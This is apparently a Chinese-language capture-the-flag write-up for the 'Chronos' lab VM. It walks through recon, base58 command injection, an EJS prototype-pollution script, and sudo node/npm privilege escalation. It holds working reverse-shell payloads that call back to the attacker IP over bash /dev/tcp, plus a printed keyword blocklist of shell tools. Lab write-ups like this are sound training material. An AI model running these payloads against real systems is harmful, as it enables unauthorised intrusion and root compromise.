难度:Medium

kali:192.168.56.104

靶机:192.168.56.185

> arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d2:e0:49, IPv4: 192.168.56.104
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:05       (Unknown: locally administered)
192.168.56.100  08:00:27:ec:9f:2b       PCS Systemtechnik GmbH
192.168.56.185  08:00:27:7a:75:94       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.923 seconds (133.13 hosts/sec). 3 responded

端口扫描

> nmap 192.168.56.185
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-21 17:17 CST
Nmap scan report for 192.168.56.185
Host is up (0.00017s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8000/tcp open  http-alt
MAC Address: 08:00:27:7A:75:94 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds

开放了 22 80 8000三个端口
先去80端口看一下

web信息搜集

OPkkUg.png
OPkxyB.png
有代码,应该加了混淆,让gpt帮我整理了一下

var elements = [
  '150447srWefj', '70lwLrol', '1658165LmcNig', 'open', '1260881JUqdKM', 
  '10737CrnEEe', '2SjTdWC', 'readyState', 'responseText', '1278676qXleJg', 
  '797116soVTES', 'onreadystatechange', 
  'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL', 
  'User-Agent', 'status', '1DYOODT', '400909Mbbcfr', 'Chronos', '2QRBPWS', 
  'getElementById', 'innerHTML', 'date'
];

(function(array, target) {
  function decrypt(index, offset) {
    index = index - 0x7e;
    return array[index];
  }
  
  while (true) {
    try {
      var result = -parseInt(decrypt(0x7e)) * parseInt(decrypt(0x90)) + 
                   parseInt(decrypt(0x8e)) + parseInt(decrypt(0x7f)) * 
                   parseInt(decrypt(0x83)) - parseInt(decrypt(0x87)) - 
                   parseInt(decrypt(0x82)) * parseInt(decrypt(0x8d)) - 
                   parseInt(decrypt(0x88)) + parseInt(decrypt(0x80)) * 
                   parseInt(decrypt(0x84));
      if (result === target) break;
      else array.push(array.shift());
    } catch (error) {
      array.push(array.shift());
    }
  }
})(elements, 0xcaf1e);

function decrypt(index, offset) {
  index = index - 0x7e;
  return elements[index];
}

function loadDoc() {
  var userAgent = decrypt(0x8f);
  var xhr = new XMLHttpRequest();
  
  xhr.onreadystatechange = function() {
    if (this.readyState == 0x4 && this.status == 0xc8) {
      document.getElementById('date').innerHTML = this.responseText;
    }
  };

  xhr.open('GET', decrypt(0x8a), true);
  xhr.setRequestHeader('User-Agent', userAgent);
  xhr.send();
}

根据解密逻辑,User-Agent需要是Chronos并且访问http://192.168.56.185:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
OPkzds.png
好像是一个打印日期的脚本,我输错一个参数是base58编码
OPkiea.png
OPknES.png
感觉可以注入
OPk1IN.png
试了好几个发现perl的可以反弹shell
OPkNFC.png
OPkeRL.png

> nc -lvnp 4567
listening on [any] 4567 ...
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.185] 33458
/bin/sh: 0: can't access tty; job control turned off
$     

也是顺利拿到shell

提取user

先看家目录

www-data@chronos:/opt/chronos$ cd /home
www-data@chronos:/home$ ls -al
total 12
drwxr-xr-x  3 root  root  4096 Jul 29  2021 .
drwxr-xr-x 23 root  root  4096 Jul 29  2021 ..
drwxr-xr-x  6 imera imera 4096 Aug  4  2021 imera

只有一个用户imera,看不了user flag

www-data@chronos:/opt/chronos$ cat app.js 

// created by alienum for Penetration Testing
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();

const port = 8000;

const cors = require('cors');


app.use(cors());

app.get('/', (req,res) =>{
  
    res.sendFile("/var/www/html/index.html");
});

app.get('/date', (req, res) => {

    var agent = req.headers['user-agent'];
    var cmd = 'date ';
    const format = req.query.format;
    const bytes = bs58.decode(format);
    var decoded = bytes.toString();
    var concat = cmd.concat(decoded);
    if (agent === 'Chronos') {
        if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {

            res.send("Something went wrong");
        }
        exec(concat, (error, stdout, stderr) => {
            if (error) {
                console.log(`error: ${error.message}`);
                return;
            }
            if (stderr) {
                console.log(`stderr: ${stderr}`);
                return;
            }
            res.send(stdout);
        });
    }
    else{

        res.send("Permission Denied");
    }
})

app.listen(port,() => {

    console.log(`Server running at ${port}`);

})

原来python nc 啥的都被ban了
在看端口的时候发现一个新的端口8080

www-data@chronos:~$ ss -tulnp
Netid State   Recv-Q  Send-Q            Local Address:Port   Peer Address:Port                                                                                  
udp   UNCONN  0       0                 127.0.0.53%lo:53          0.0.0.0:*                                                                                     
udp   UNCONN  0       0         192.168.56.185%enp0s3:68          0.0.0.0:*                                                                                     
tcp   LISTEN  0       128                     0.0.0.0:22          0.0.0.0:*                                                                                     
tcp   LISTEN  0       128                   127.0.0.1:8080        0.0.0.0:*                                                                                     
tcp   LISTEN  0       128               127.0.0.53%lo:53          0.0.0.0:*                                                                                     
tcp   LISTEN  0       128                        [::]:22             [::]:*                                                                                     
tcp   LISTEN  0       128                           *:8000              *:*      users:(("node",pid=890,fd=18))                                                 
tcp   LISTEN  0       128                           *:80                *:*  
www-data@chronos:~$ curl 127.0.0.1:8080
<!DOCTYPE html>
<html>
    <head>
        <title>Chronos - Version 2</title>
    </head>
    <body>
        <h1>Coming Soon...</h1>
    </body>
</html>

是一个 Chronos version2的服务
刚才注意到这个服务在opt目录

www-data@chronos:/opt/chronos-v2/backend$ cat server.js 
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')

const app = express();

app.use(fileupload({ parseNested: true }));

app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");

app.get('/', (req, res) => {
   res.render('index')
});

const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
   console.log('Server listening on ' + addr + ' port ' + port);
});

ejs库使用express-fileupload来处理文件上传,并且porcessNested设置为True,可以通过文件名进行原型链污染
原理参考
https://evi0s.com/2019/08/30/expresslodashejs-%E4%BB%8E%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%B0rce/
https://blog.csdn.net/gental_z/article/details/107937110
做个端口转发方便打,把8080转发到6677端口可以访问

socat TCP4-LISTEN:6677,fork TCP4:127.0.0.1:8080
import requests 
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.56.104/4567 0>&1"' 
requests.post('http://192.168.56.185:6677', files = {'__proto__.outputFunctionName':(None,f"a;global.process.mainModule.require('child_process').exec('{cmd}');a")}) 
requests.get('http://192.168.56.185:6677') 

这个None表示文件位置,但是我们的直接写恶意payload,文件位置所以是None

> nc -lvnp 4567
listening on [any] 4567 ...
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.185] 33604
bash: cannot set terminal process group (790): Inappropriate ioctl for device
bash: no job control in this shell
imera@chronos:/opt/chronos-v2/backend$

拿到user shell

提权root

一手sudo哥们心里乐开花

imera@chronos:/opt/chronos-v2/backend$ sudo -l
sudo -l
Matching Defaults entries for imera on chronos:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User imera may run the following commands on chronos:
    (ALL) NOPASSWD: /usr/local/bin/npm *
    (ALL) NOPASSWD: /usr/local/bin/node *

怕哥们不会还给两个,直接用npm

imera@chronos:~$ TF=$(mktemp -d)
TF=$(mktemp -d)
imera@chronos:~$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
<ts": {"preinstall": "/bin/sh"}}' > $TF/package.json
imera@chronos:~$ sudo /usr/local/bin/npm  -C $TF --unsafe-perm i
sudo /usr/local/bin/npm  -C $TF --unsafe-perm i
> preinstall
> /bin/sh
id
uid=1000(imera) gid=1000(imera) groups=1000(imera)

好家伙失败,换一个,用node

sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
id
uid=0(root) gid=0(root) groups=0(root)